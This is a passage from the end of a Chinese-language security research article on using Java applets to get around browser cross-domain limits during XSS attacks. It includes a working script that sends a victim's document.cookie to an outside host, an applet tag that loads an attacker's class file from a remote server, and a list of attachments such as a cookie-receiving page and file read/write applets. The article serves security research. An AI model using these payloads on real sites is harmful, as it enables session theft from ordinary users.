如果步骤一的条件有出入,没有可以储存东西的地方,你可以尝试以下代码绕过AJAX的跨域限制:
<script>
document.getElementById("iframe_kxlzx").src="http://www.inbreak.net/blog/default.asp?cookies="+document.cookie;
</script>
以上步骤不仅仅可以应用于applet,还可以在js中实现。可以实现以上步骤的代码,本文已经写的够多了,请在楼上找吧。
作者技术有限,目前研究到这里,给大家个研究方向:往applet底层实现进发,研究能绕过applet权限的函数,去年就出了一个。实践出真知,作者的研究思路一定不是最好的,甚至文中或许还会有错误,但是文中代码都是作者通过无数次实践,才精挑细选出了最能说明问题的部分,希望能对大家有所帮助。
最后发几个小技巧:
1、跨域调用class文件。突破XSS的时候,如果不能上传class文件(通常都不可以),就可以把class文件放在其他地方。把class文件放在其他服务器上调用,有了这个功能,更利于我们没有限制的跨域调用class文件。
要这样写:
<applet codebase="http://www.inbreak.net/toolss/" code="Ghost.class" width="300" height="200">
2、调试的时候,如果编译好了class文件,之后修改类,又重新编译了class文件,一定要关闭浏览器重新打开,才能看到新的效果。因为浏览器有缓存,同样会缓存class文件,如果不清空缓存或重新打开浏览器,就等于使用了原来的class文件。
3、调试的时候,一定要仔细考虑到整个流程执行顺序,特别是当你以为自己不小心发现“0day”的时候。
4、最后提醒,applet只能执行在JVM环境中。
参考文献:
《浅析浏览器的跨域安全问题》 Ph4nt0m Security Team rayh4c
《Java security evolution and concepts, Part 3: Applet security》 Raghavan N. Srinivas
《Applet Security》 SUN官方
《Java 2 Applet Security》 Abdul Habra, 2.7.2000
《JDK帮助》
附件说明:
a.asp ------- 接收变量,保存内容为kxlzx.txt的页面
Applet_ODBC.java -------- 使用applet链接access数据库的代码
Applet_Control_Open.java -------- 父窗体控制子窗体到处访问的代码
Oday.java ---------- 第一部分提到的0day
ReadFile.java -------- applet读文件
writeFile.java --------- applet写文件
Xss.java ----- 控制子窗口弹cookie
test2.htm ------ 文中提到的加载applet页面
php.php ----- 没有这个文件,因为它代码改来改去的,文中找吧。
文中提到的附件下载地址: